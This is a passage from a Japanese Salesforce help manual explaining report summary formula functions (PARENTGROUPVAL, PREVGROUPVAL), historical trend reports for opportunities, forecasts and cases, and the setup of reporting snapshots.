PARENTGROUPVAL と PREVGROUPVAL の 2 種類があります。
1. [項目] ペインの [新規カスタム集計項目を追加] をダブルクリックします。
2. [カスタム集計項目] ダイアログの [関数] の下の [サマリー] を選択します。
3. PARENTGROUPVAL または PREVGROUPVAL を選択します。
4. グルーピングレベルを選択し、[挿入] をクリックします。
5. 表示する場所など、数式を定義します。
6. [OK] をクリックします。

関連トピック:

レポートの数式の使用
PARENTGROUPVAL および PREVGROUPVAL

PARENTGROUPVAL および PREVGROUPVAL

PARENTGROUPVAL は、親グルーピングに対する相対的な値の計算に使用しま
す。PREVGROUPVAL は、同位のグルーピングに対する相対的な値の計算に使用
します。

PARENTGROUPVAL

この関数は親グルーピングに対する相対的な値の計算に使用します。

4897

レポート分析



この関数は、指定した親グルーピングの値を返します。「親」グルーピングと
は、数式が含まれるレベルよりも上にあるレベルです。この関数は、レポート
のカスタム集計項目でのみ使用できます。

説明:

サマリーと結合: PARENTGROUPVAL(summary_field, grouping_level)

マトリックス: PARENTGROUPVAL(summary_field, parent_row_grouping,
parent_column_grouping)

使用:

summary_field には集計項目値、grouping_level には集計レポートの親レ
ベル、parent_row_levelと parent_column_levelにはマトリックスレポー
トの親レベルを指定します。

TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM, GRAND_SUMMARY)
例:

この数式では、各商品のサイズを総計に対する割合として計算します。この例
では、レポートは [商品名]別にグループ化された商談とその商品の集計になり
ます。

PREVGROUPVAL

この関数は同位のグルーピングに対する相対的な値の計算に使用します。前のグルーピングがない場合は、
Null 値が返されます。

この関数は、指定した前のグルーピングの値を返します。「前の」グルーピン
グとは、レポートの現在のグルーピングより 1 つ前のグルーピングです。グルー

説明:

プレベルと増分値を選択します。増分値は、現在の集計の前の列数または行数
です。デフォルトは 1 で、最大値は 12 です。この関数は、レポートのカスタム
集計項目でのみ使用できます。

PREVGROUPVAL(summary_field, grouping_level [, increment])
使用:

summary_field にはグループ化された行または列の名前、grouping_level

には集計レベル、increment は以前の行または列の数を指定します。

AMOUNT:SUM - PREVGROUPVAL(AMOUNT:SUM, CLOSE_DATE)
例:

この数式は、月ごとに、レポートに表示された前月との金額の差を計算します。
この例では、レポートは [完了予定日] 別にグループ化された列と、[フェーズ]

別にグループ化された行による商談マトリックスになります。
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例: 3 週間の移動平均
商談金額の 3 週間の移動平均を計算するには、次のコードを使用します。
(OppProductTrends__c.Amount__c:SUM+ PREVGROUPVAL(OppProductTrends__c.Amount__c:SUM,
OppProductTrends__c.as_of_date__c) + PREVGROUPVAL(OppProductTrends__c.Amount__c:SUM,
OppProductTrends__c.as_of_date__c,2))/3

関連トピック:

カスタム集計項目の作成
レポートの数式の使用
結合レポートのカスタム集計項目の作成

カスタム集計項目を最大限に活用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタム集計項目は強力なレポート手法ですが、取り扱いには注意を要します。
次に、カスタム集計項目を使用する際に留意すべきヒントをいくつか示します。
カスタム集計項目で使用するための関数は、その関数カテゴリで使用できます。
関数を選択して [この関数に関するヘルプ] をクリックすると、情報が表示され
ます。
• 集計項目では、別の集計項目は参照できません。
• 集計項目データ型に関係なく、集計項目には数字、通貨、パーセント、およ

びチェックボックス (チェックあり / チェックなし) など、さまざまなデータ
型の項目を含めることができます。たとえば、[商談とパートナー] レポート
内の集計項目では、商談の [金額] または [フェーズ滞在期間]、および取引
先の [年間売上]を参照できます。

• ダッシュボードとレポートグラフでは、カスタム集計項目に表示される小数
点以下の値は、項目の設定ではなく、デフォルトの通貨設定を使用して表示
されます。たとえば、集計項目の小数点以下の桁数を 0 に指定した場合、列には小数が表示されませんが、
グラフの値にはデフォルト通貨に指定した小数点以下の桁数 (通常 2 桁) が示されます。これは、通貨、数
字、パーセントに適用されます。

• 項目が削除されている場合、または使用できない場合 (項目レベルのセキュリティなど)、項目を含むすべ
てのカスタム集計項目はレポートから削除されます。

• 集計の種類 [合計]、[最大値]、[最小値]、および [平均] を、[レコード件数] 項目と同時に使用すること
はできません。

• 空白 (ヌル) 値またはゼロの値がレポートデータにある場合、集計の種類 [最小値]では、集計項目計算にこ
れらの値を含めます。

• 集計の種類 [最大値] には、レポートデータに存在する最大空白値 (非ヌル値) が含まれます。
• 集計項目では、パーセントは小数で表されます。20% は 0.20 で表されます。
• 演算子を使用すると、集計項目の項目に負の値を指定できます。例: {!EMPLOYEES:SUM} + - {!SALES:SUM}

• マトリックスレポートのカスタム集計項目の場合、[この数式をどこに表示しますか?] オプションが [すべ
ての集計レベル] に設定されていないすべての式の結果が計算されます。数式によって、返される値が決
まります。Null が返されると、そのセルは空になります。
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• 表形式レポート、サマリーレポート、およびマトリックスレポートの集計項目では、最大 21 桁まで表示で
きます。21 桁の集計値は正確に表示されますが、それを超える桁数は正確でない場合があります。レポー
トのセルに「# 大きすぎます!」が表示された場合、18 桁以上になる可能性がある計算の数式を確認してく
ださい。桁の大きな数字の掛け算、桁の大きな数字の累乗、または桁の小さな数字による割り算はしない
でください。

• 数式は、空白 (ヌル) のレポートセルをゼロ値として処理します。
• 数式の値の計算中にエラーが発生した場合、レポートセルに「#Error!」と表示されます。また、数式を

ゼロで割った場合にも「#Error!」と表示されます。エラーを解決するには、数式を調べてかわりの値を
指定します。

• クロスブロックカスタム集計項目は、結合レポートで使用できます。

関連トピック:

カスタム集計項目の作成
結合レポートのカスタム集計項目
結合レポートのカスタム集計項目の作成

レポートの保存

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

APIで使用される一意のレ
ポート名を入力する
• 「アプリケーションの

カスタマイズ」

公開レポートの保存先
フォルダを選択する
• 「公開レポートの管

理」

既存のレポートを最新の変更で更新する場合は[保存]をクリックします。また、
元のレポートを変更せずにコピーする場合は [別名で保存] をクリックします。
Lightning Experience で、[コピー] をクリックし、レポートをコピーします。
1. 名前、説明、フォルダを確認し、次に移動する場所を選択します。

• レポートを保存して [レポートのホーム] ページに移動するには、[保存]を
クリックします。

• レポートを保存して [レポート実行] ページに戻るには、[保存してレポー
トに戻る] をクリックします。

メモ: レポートを、売上、売上予測、商談、活動レポートの特定ロール
階層のドリルダウンレベルで保存するには、[階層レベルの保存]を選択
します。

ヒント: レポート名にコロンを付けると、レポートを表示するときに名前
が 2 行に分けて表示されます。これを利用してレポートを名前別に分類し
たり、長い名前をよりわかりやすく表示したりできます。たとえば、[レ
ポート名] に「First Line: Second Line」と入力すると、実行ページ
には名前が次のように表示されます。
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変更履歴のレポート

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ビジネスの現在の状態に関する最新の標準レポートに加えて、商談、ケース、
売上予測、カスタムオブジェクトの日単位および週単位の変化を分析できます。

メモ: Lightning Experienceでは、グラフを含む履歴トレンドレポートはサポー
トされますが、履歴トレンドレポートの表形式ビューは使用できません。

1. 商談パイプラインの変化の追跡
履歴レポートは、自社の商談パイプラインを監視して、現在および将来の売
上目標を達成できるだけの十分な活動が含まれていることを確認するのに役
立ちます。過去 3 か月に値が増加した商談、値が減少した商談、特定の対象
期間に含まれるようになった商談、特定の対象期間から除外された商談に焦
点を当てます。

2. 売上予測金額の変化の確認
チームメンバーが各売上予測分類に割り当てた金額に関するマトリックス形式の履歴レポートを作成しま
しょう。これらの金額の変化を確認することにより、チームの売上予測の精度がわかります。

3. ケースの履歴追跡
ケース全体の活動を監視し、ケースの有効期間の過去 3 か月に発生したケースの状況の変化を識別します。

4. 履歴トレンドレポートに関する説明
履歴トレンドレポートでは、5 営業日や 5 営業週など、5 つのスナップショット日付の間の変化を強調表示
するように設計された特別なカスタムレポートタイプを使用します。グラフおよびダッシュボードにデー
タの変化を視覚的に表示できます。

5. 履歴トレンドレポートに関する制限
Salesforce の履歴トレンドは、データを追跡するときの時間、データの行数、追跡可能な項目およびオブジェ
クトに関して特定の制限の対象になります。これらの制限は、レポートデータをすばやく返せるように設
けられた制限です。

商談パイプラインの変化の追跡

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

履歴レポートは、自社の商談パイプラインを監視して、現在および将来の売上
目標を達成できるだけの十分な活動が含まれていることを確認するのに役立ち
ます。過去 3 か月に値が増加した商談、値が減少した商談、特定の対象期間に
含まれるようになった商談、特定の対象期間から除外された商談に焦点を当て
ます。
重要な商談属性 (日付、金額、および状況など) の履歴値と現在の値を比較して、
パイプラインが時間と共にどのように変化したかを確認する必要がある場合が
あります。たとえば、このサマリーレポートでは、昨日以降変化した商談金額
と完了予定日が示されています。
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1. 最大 5 つの日付をスナップショットして、日単位または週単位のトレンドを追跡する。
2. 現在の値および履歴値が簡単に比較できるように横に並べて表示される。
3. 変更された日付と金額が赤または緑で強調表示される。

1. パイプラインの経時的な変化の監視
今日と昨日のパイプラインの合計値を比較する方法を知りたいとします。2 つの日付を比較する簡単なレ
ポートを作成します。

2. 特定の値を超える履歴案件の識別
今日の変動を考慮せず、パイプラインで $5,000 を超える案件にのみ焦点を絞るとします。これには、昨日
は $5,000 未満であった案件を除外する履歴トレンドレポートが必要です。

3. 押し出された案件の検出
完了までに予想以上に時間を要する案件に焦点を絞るには、パイプラインで完了予定日が後の日付に変更
された案件を見つける履歴トレンドレポートを作成します。

4. 減少傾向にある案件の識別
履歴トレンドの分析は、リスクを含む可能性がある案件をすばやく識別して優先付けを行うのに役立ちま
す。たとえば、パイプラインで昨日から値が減少した案件を対象にするとします。これには、今日よりも
昨日の値のほうが大きい案件を示す履歴トレンドレポートが必要です。
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パイプラインの経時的な変化の監視

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

今日と昨日のパイプラインの合計値を比較する方法を知りたいとします。2 つの
日付を比較する簡単なレポートを作成します。
1. 商談履歴レポートを作成します。

a. [レポート] タブで、[新規レポート] をクリックします。
b. [レポートタイプを選択] > [商談] で、[履歴トレンドが関連する商談] を選

択します。
[履歴トレンドが関連する商談] を表示するには、Salesforce の [設定] で商談
の履歴トレンドレポートを有効にします。商談の履歴トレンドレポート
を有効にする方法についての詳細は、Salesforce ヘルプで「履歴トレンドレ
ポートの設定」を参照してください。

c. [作成] をクリックします。

2. [表示] で、[すべての商談] を選択します。
[履歴日] 項目のデフォルト値は [昨日] で、[金額 (履歴)] 項目には、昨日
の日付が表示されます。

ヒント:  [昨日] は、可変の日付値で、今日の日付の相対日付を示します。
明日これと同じレポートを実行すると、[金額 (履歴)]には今日の日付
が表示されます。

3. [金額 (履歴)] および [金額—今日] 列のヘッダーの下向き矢印をクリックします。[この項目を集計] をク
リックし、[合計] を選択します。
総額が各列の下部に表示されます。

4. [金額] 列のヘッダーの下向き矢印をクリックし、[変更を表示] を選択します。
5. [レポート実行] をクリックします。
6. [変更] 列で、[金額 (履歴)] 列と [金額–今日] 列の合計値の差を確認します。

ヒント: 緑色または赤色の値を探すことで、一目で変更を確認できます。

パイプラインの動作の分析に役立つ簡単な履歴トレンドレポートを作成しました。

関連トピック:

履歴トレンドが関連する商談レポート
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特定の値を超える履歴案件の識別

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

今日の変動を考慮せず、パイプラインで $5,000 を超える案件にのみ焦点を絞る
とします。これには、昨日は $5,000 未満であった案件を除外する履歴トレンド
レポートが必要です。
1. 商談履歴レポートを作成します。

a. [レポート] タブで、[新規レポート] をクリックします。
b. [レポートタイプを選択] > [商談] で、[履歴トレンドが関連する商談] を選

択します。
[履歴トレンドが関連する商談] を表示するには、Salesforce の [設定] で商談
の履歴トレンドレポートを有効にします。商談の履歴トレンドレポート
を有効にする方法についての詳細は、Salesforce ヘルプで「履歴トレンドレ
ポートの設定」を参照してください。

c. [作成] をクリックします。

2. [表示] で、[すべての商談] を選択します。
3. $5,000 を超える履歴値に絞り込みます。

a. [追加] をクリックし、[履歴項目の絞り込み] を選択します。
b. [金額 (履歴)] を [昨日] に設定します。
c. 演算子に [＞] を選択します。
d. 最後の項目に「5,000」と入力します。
e. [OK] をクリックします。

4. [レポート実行] をクリックします。
5. 完了したレポートで、[金額 — 履歴] 列のすべての案件が $5,000 を超えていることを確認します。

ヒント:  [金額]、[完了予定日]、[フェーズ] 項目の値は緑色または赤色で表示され、変化の方向が示され
ます。列ヘッダーの下向き矢印をクリックすると、色が反転します。
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特定の履歴スナップショット日に特定の金額を超えるすべての案件を取得する、簡単なレポートが作成されま
した。

関連トピック:

履歴トレンドが関連する商談レポート

押し出された案件の検出

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

完了までに予想以上に時間を要する案件に焦点を絞るには、パイプラインで完
了予定日が後の日付に変更された案件を見つける履歴トレンドレポートを作成
します。
1. 商談履歴レポートを作成します。

a. [レポート] タブで、[新規レポート] をクリックします。
b. [レポートタイプを選択] > [商談] で、[履歴トレンドが関連する商談] を選

択します。
[履歴トレンドが関連する商談] を表示するには、Salesforce の [設定] で商談
の履歴トレンドレポートを有効にします。商談の履歴トレンドレポート
を有効にする方法についての詳細は、Salesforce ヘルプで「履歴トレンドレ
ポートの設定」を参照してください。

c. [作成] をクリックします。

2. [表示] で、[すべての商談] を選択します。
3. 以前より後の日付に変更された完了予定日に絞り込みます。

a. [追加] をクリックし、[履歴項目の絞り込み] を選択します。
b. [完了予定日 (履歴)] を 2013 年 2 月 1 日に設定します。

ヒント: [固定日]の下にあるカレンダーを使用して、日付を選択しま
す。

c. [OK] をクリックします。

4. [完了予定日] 列のヘッダーの下向き矢印をクリックし、[変更を表示] を選択します。
5. [レポート実行] をクリックします。
6. レポートの案件ごとに、[完了予定日 — 履歴] 列の日付と [完了予定日 — 今日] 列の日付を比較します。

ヒント: 緑色または赤色の値を探すことで、一目で変更を確認できます。

関連トピック:

履歴トレンドが関連する商談レポート
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減少傾向にある案件の識別

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

履歴トレンドの分析は、リスクを含む可能性がある案件をすばやく識別して優
先付けを行うのに役立ちます。たとえば、パイプラインで昨日から値が減少し
た案件を対象にするとします。これには、今日よりも昨日の値のほうが大きい
案件を示す履歴トレンドレポートが必要です。
1. 商談履歴レポートを作成します。

a. [レポート] タブで、[新規レポート] をクリックします。
b. [レポートタイプを選択] > [商談] で、[履歴トレンドが関連する商談] を選

択します。
[履歴トレンドが関連する商談] を表示するには、Salesforce の [設定] で商談
の履歴トレンドレポートを有効にします。商談の履歴トレンドレポート
を有効にする方法についての詳細は、Salesforce ヘルプで「履歴トレンドレ
ポートの設定」を参照してください。

c. [作成] をクリックします。

2. [表示] で、[すべての商談] を選択します。
3. 今日よりも昨日の値のほうが小さい案件をすべて除外します。

a. [追加] をクリックし、[履歴項目の絞り込み] を選択します。
b. [金額 (履歴)] を ＞ に設定します。
c. 最後の項目を [項目] に設定します。

これで、履歴金額が、特定の金額ではなく [金額 — 今日] 列の金額と比較されます。
d. [OK] をクリックします。

4. [レポート実行] をクリックします。
昨日から減少した案件にフラグ付けする簡単なレポートが作成されました。[金額 — 今日]列のすべての結果
は赤色で表示され、値が減少したことを示します。
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ヒント: 金額の変化を示す色を変更するには、[変更] 列の上にある下矢印をクリックし、[色を反転] をク
リックします。

関連トピック:

履歴トレンドが関連する商談レポート

売上予測金額の変化の確認

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

チームメンバーが各売上予測分類に割り当てた金額に関するマトリックス形式
の履歴レポートを作成しましょう。これらの金額の変化を確認することにより、
チームの売上予測の精度がわかります。
この例では、当会計四半期に入ってから約 1 か月が経過していると想定してい
ます。
1. 売上予測履歴レポートを作成します。

a. [レポート] タブで、[新規レポート] をクリックします。
b. [レポートタイプを選択] > [売上予測] で、[履歴トレンドが関連する売上予

測データ] を選択します。このレコードタイプを選択する前に、組織で
[売上予測データ] の [履歴トレンド] を有効化しておく必要があります。レ
ポートタイプが表示されていない場合は、システム管理者にお問い合わ
せください。

c. [作成]をクリックします。

2. [条件] 領域で、[表示] > [すべての売上予測データ]を選択して、条件を設定し
ます。
a. [日付項目] に、[終了日] を選択します。[範囲] に、[当会計四半期] を選択

します。[開始]および[終了]日付項目には、当四半期の開始日と終了日が
自動的に設定されます。

b. [履歴日付] で、ドロップダウンメニューから [3 か月前]、[2 か月前]、
[1 か月前] を選択します。選択した各日付が項目に追加されます。

目的の履歴データを絞り込みます。

ヒント: [昨日] を項目の右側に移動するには、削除してからドロップダウンメニューで再度追加
します。
複数の売上予測種別を使用している場合、「売上予測種別: API 参照名」という検索条件を追加し
て、重複値がレポートに表示されないようにします。
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3. 過去の変化を確認するための監視対象データを選択します。この場合、変更されたカテゴリと、売上予測
金額がどのように変化したかに注目します。
a. [プレビュー] ペインで、[表形式] を [マトリックス形式] に変更します。
b. [所有者: 氏名] 項目を [項目] 領域から [プレビュー] ペインにドラッグして、行のグルーピングを作成

します。
c. [売上予測分類]項目を [所有者: 氏名]の右側にドラッグして、別の行のグルーピングを作成します。
d. [売上予測金額 (履歴)] 項目を [プレビュー] ペインの黄色いバーの下にあるマトリックス領域にドラッ

グします。[集計] ダイアログで、[合計] を選択します。

追跡するデータを含む項目を選択します。

レコードがある [条件] 領域で選択した履歴日付ごとに列が表示されます。
4. [レポート実行]をクリックして、これまで収集したデータを表示します。次に、[カスタマイズ]をクリック

し、必要に応じて条件と項目を継続的に調整します。
5. 追跡するデータを定義したら、そのデータをグラフィカルに表示するグラフを作成します。

a. [プレビュー] 領域で、[グラフを追加] をクリックして折れ線グラフアイコンを選択します。
b. [グラフデータ] タブで、[Y 軸] に [売上予測金額合計 (履歴)] を選択し、[X 軸] に [スナップショット日]

を選択します。
c. [グループ化単位] に [売上予測分類] を選択し、[累積折れ線] を選択します。
d. [OK] をクリックし、[レポート実行] を再度クリックします。

6. [別名で保存] をクリックします。レポートの名前とそのフォルダを選択し、[保存] をクリックします。
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ケースの履歴追跡

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

ケース全体の活動を監視し、ケースの有効期間の過去 3 か月に発生したケース
の状況の変化を識別します。
1. コンタクトセンター運用を最適化する方法の 1 つは、長期にわたって [状況]

項目を監視し、前の状況に戻ったケースがないか注意することです。これに
より、より有効なケースの解決方法が明らかになる可能性があります。

2. 別の例として、[優先度]項目の履歴値を分析し、オープン時に不適切に分類
された可能性のあるケースを識別することもできます。優先度に頻繁な変更
がないか監視することは、複雑なケースの処理の向上にもつながります。

履歴トレンドレポートに関する説明

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

履歴トレンドレポートでは、5 営業日や 5 営業週など、5 つのスナップショット
日付の間の変化を強調表示するように設計された特別なカスタムレポートタイ
プを使用します。グラフおよびダッシュボードにデータの変化を視覚的に表示
できます。
Winter '14 以降で作成された組織の場合、履歴トレンドレポートはデフォルトで
有効化されます。これよりも古い組織の場合、[設定] メニューで履歴トレンドレ
ポートを有効化する必要があります。
Salesforceでは、過去 3 か月と今月の履歴データが保持されます。実際に操作でき
る履歴データ量は、組織のデータ設計や使用パターンによって異なります。最
大 4 つの履歴条件を使用して、比較する対象期間のスナップショット日付を 5 つ
まで選択できます。
日または週よりも長い期間はお勧めできません。これよりも長い期間を使用すると、レポートがタイムアウト
になり返されない可能性があります。レコード数が限定された小規模な組織の場合は、月単位のトレンドレ
ポートが機能することもありますが、これは履歴トレンドレポートの設計目標ではありません。

ヒント: また、メタデータ API やレポートおよびダッシュボード REST APIを使用して、履歴トレンドレポー
トを作成およびカスタマイズすることもできます。
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履歴トレンドレポートに関する制限

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce の履歴トレンドは、データを追跡するときの時間、データの行数、追
跡可能な項目およびオブジェクトに関して特定の制限の対象になります。これ
らの制限は、レポートデータをすばやく返せるように設けられた制限です。
• Salesforce では、過去 3 か月と今月の履歴データが保持されます。
• 各オブジェクトで最大 500 万行の履歴トレンドデータを保存できます。この

制限を超過すると、履歴データのキャプチャは停止します。オブジェクトが
制限の 70% に達した場合と、制限を超過した場合に管理者にメールで通知さ
れます。

• 各履歴トレンドレポートには、100 個まで項目を含めることができます。商
談レポートでは、履歴トレンドレポートに事前選択される標準項目が含まれ
ており、この項目は無効にできません。

• 数式項目はサポートされていません。
• 行制限の検索条件はサポートされていません。
• サマリーレポート形式はサポートされていません。
• 各履歴トレンドレポートで最大 5 つの履歴スナップショット日付を指定できます。
• 各履歴トレンドレポートで最大 4 つの履歴条件を使用できます。
• サポートされる項目種別は、数値、通貨、日付、選択リスト、参照項目です。
• 期間指定換算レートはサポートされません。履歴トレンドレポートを実行すると、最新の期間指定換算レー

トのみが使用されます。
• Internet Explorer 6 はサポートされていません。
• レポートウィザードはサポートされていません。履歴トレンドレポートは、レポートビルダーでのみ作成

できます。
• Lightning Experience では、グラフを含む履歴トレンドレポートはサポートされますが、履歴トレンドレポー

トの表形式ビューは使用できません。

重要: 選択リスト項目が履歴トレンドデータ条件ですでに使用されている場合、よく考えてからその値を
変更してください。今後の履歴レポートでその項目の有用性が低下してしまう可能性があります。

レポート作成スナップショットを使用した履歴データのレポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レポート作成スナップショットにより、履歴データに関するレポートを作成で
きます。承認されたユーザは、表形式のレポートやサマリーレポートの結果を
カスタムオブジェクトの項目に保存することができ、それらの項目を対象オブ
ジェクト上の対応する項目に割り当てることができます。その上で、レポート
をいつ実行してそのカスタムオブジェクトの項目にレポートのデータを読み込
むかをスケジューリングできます。レポート作成スナップショットでは、Salesforce

での他のレコード操作と同様にレポートデータを操作できます。
レポート作成スナップショットの設定後、次の操作ができるようになります。
• 対象オブジェクトのカスタムレポートを作成および実行する。
• ソースレポートのダッシュボードを作成する。
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• 対象オブジェクトにカスタムタブを設定している場合に、対象オブジェクトでリストビューを定義する。
たとえば、カスタマーサポートマネージャが、毎日 5:00 PM に自分のチームに割り当てられているオープンケー
スに関するレポートを作成するレポート作成スナップショットを設定し、カスタムオブジェクトにそのデータ
を保存してオープンケースに関する履歴を作成することが考えられます。このレポートによって、マネージャ
は動向を把握できます。そして、カスタムオブジェクトに保存されたある時点のデータや動向データのレポー
トを作成することや、そのレポートをダッシュボードコンポーネントのソースとして使用することができま
す。作成できるレポート作成スナップショットの総数については、「Salesforce の制限」を参照してください。

1. レポート作成スナップショットの準備
レポート作成スナップショットを設定するには、ソースレポートと、ソースレポートのデータが読み込ま
れる項目を持つ対象オブジェクトが必要です。

2. レポート作成スナップショットの定義
ソースレポート、対象オブジェクト、対象オブジェクト項目を作成すると、レポート作成スナップショッ
トを定義できます。レポート作成スナップショットを定義するには、名前を付けてから、レポート作成ス
ナップショットの実行時に、レポート結果を指定の対象オブジェクトに読み込むソースレポートを選択し
ます。

3. レポート作成スナップショット項目の対応付け
ソースレポート、対象オブジェクト、対象オブジェクトの項目を作成し、レポート作成スナップショット
を定義した後に、ソースレポートの項目と対象オブジェクトの項目を対応付けることができます。それに
より、実行時にソースレポートの項目から対象オブジェクトの項目にデータを自動的に読み込みます。

4. レポート作成スナップショットのスケジュールと実行
ソースレポート、対象オブジェクト、および対象オブジェクト項目を作成し、レポート作成スナップショッ
トを定義して、その項目を対応付けたら、レポート作成スナップショットの実行をスケジュールできます。
必要なソースレポートのデータが対象オブジェクトに読み込まれるように、レポート作成スナップショッ
トの実行スケジュールを、毎日、毎週、または毎月に設定します。

5. レポート作成スナップショットの管理
レポート作成スナップショットの設定後は、詳細の参照、編集、削除が可能です。[設定] から、[クイック
検索] ボックスに「レポート作成スナップショット」と入力し、[レポート作成スナップショット] を選択す
ると、[レポート作成スナップショット] ページが表示され、組織で定義されているレポート作成スナップ
ショットの一覧が表示されます。

6. レポート作成スナップショットのトラブルシューティング
レポート作成スナップショットの詳細ページにある [実行履歴] セクションには、レポート作成スナップ
ショットが正常に実行されたかどうかが表示されます。スケジュール実行中にレポート作成スナップショッ
トが失敗すると、その失敗が [結果] 列に記録されます。実行の詳細を参照するには、[実行開始時刻] 列
で実行日時をクリックします。

関連トピック:

Salesforce Classic ダッシュボードを作成
アクセシビリティモードでのカスタムレポートの作成
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レポート作成スナップショットの準備

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポート作成スナップ
ショットを作成、保存、
およびスケジュールする
• 「レポート作成スナッ

プショットの管理」

レポート作成スナップ
ショットを実行ユーザと
して実行し、結果をカス
タムオブジェクトに追加
する
• 「レポート実行」

および

対象オブジェクトに対
する「作成」

レポート作成スナップショットを設定するには、ソースレポートと、ソースレ
ポートのデータが読み込まれる項目を持つ対象オブジェクトが必要です。
レポート作成スナップショットを設定する手順は、次のとおりです。
1. レコードとして対象オブジェクトに読み込む項目を含む新しいカスタムレ

ポートを作成します。
2. ソースレポートから読み込まれたレコードを保存する新しいカスタムオブ

ジェクトを作成します。
3. レポート作成スナップショットが実行されたときにソースレポートの結果を

受け取る対象オブジェクトの項目を作成します。

レポート作成スナップショットのソースレポートに関するヒント
• 詳細を非表示にして表形式ソースレポートを保存した場合、そのレポートを

レポート作成スナップショットで使用できなくなります。また、レポート作
成スナップショットに含まれる表形式ソースレポートの詳細を非表示にする
と、そのレポート作成スナップショットを実行したときに失敗します。表形
式ソースレポートの詳細が非表示でないことを確認するには、そのレポート
を表示して[詳細の表示]ボタンをクリックし、レポートを保存します。[詳細
の表示] ボタンは、レポートの詳細が非表示の場合にのみ表示されます。

• レポート作成スナップショットのソースレポートを作成するときは、レポー
トに追加した項目の名前をメモしておくと、レポート結果を保存する対象オ
ブジェクトの項目を作成するときに役立ちます。

• カスタムテーブル形式レポートまたは集計レポートを、過去の売上予測レ
ポート、予実対比表レポート、およびリードソースレポートを除いたソース
レポートとして選択できます。[ソースレポート] ドロップダウンリストに
は、標準レポートは表示されません。

• ソースレポートには、100 項目まで含めることができます。
• レポート作成スナップショットを実行するときに、スケジュールを削除でき

ます。実行中のレポート作成スナップショットの停止や一時停止、ソースレポートの削除はできません。
ソースレポートを削除するには、まず [ソースレポート]ドロップダウンリストでレポートを変更して、レ
ポート作成スナップショットからレポートを削除する必要があります。

• [ソースレポートの項目] 列で [読み込みデータ無し] を選択した場合は、レポート作成スナップショットを実
行したときに [対象オブジェクトの項目] 列の対応する項目にデータが読み込まれません。

• 対象オブジェクトの項目のデータ型と互換性のあるソースレポートの項目が存在しない場合は、[ソースレ
ポートの項目] 列に、[(互換性のあるデータ型の項目がありません)] と表示されます。

レポート作成スナップショットの対象オブジェクトに関するヒント
レポート作成スナップショットの対象オブジェクトを設定するときは、次の点に留意してください。
• Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の場合は、項

目レベルセキュリティを使用して、該当するユーザが対象オブジェクトの項目を参照できるようにします。
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• カスタムオブジェクトがレポート作成スナップショットの対象オブジェクトである場合、そのオブジェク
トは削除できません。

• 対象オブジェクトの項目によって、項目の対応付けの可否が決まります。たとえば、ソースレポートに 10

項目あっても、対象オブジェクトに 1 項目しかない場合は、レポート作成スナップショットで対応付けら
れる項目は 1 つのみです。

• 対象オブジェクトには、100 項目まで追加できます。
• 対象オブジェクトに入力規則を設定したり、対象オブジェクトをワークフローに含めることはできません。
• レコードが新規作成されるとApexコードの実行をトリガする対象オブジェクトは、レポート作成スナップ

ショットに含めることができません。
• レポート作成スナップショットが実行されると、最大2,000件の新規レコードを対象オブジェクトに追加で

きます。ソースレポートで 2,000 件を超えるレコードが作成された場合は、[行作成の失敗] 関連リストにレ
コードが追加されたことを知らせるエラーメッセージが表示されます。レポート作成スナップショットの
詳細ページの [実行履歴] セクションから、[行作成の失敗] 関連リストにアクセスできます。

レポート作成スナップショットに関するヒント
• [実行ユーザ] が持つライセンスの種類を認識しておく必要があります。たとえば、レポート作成スナップ

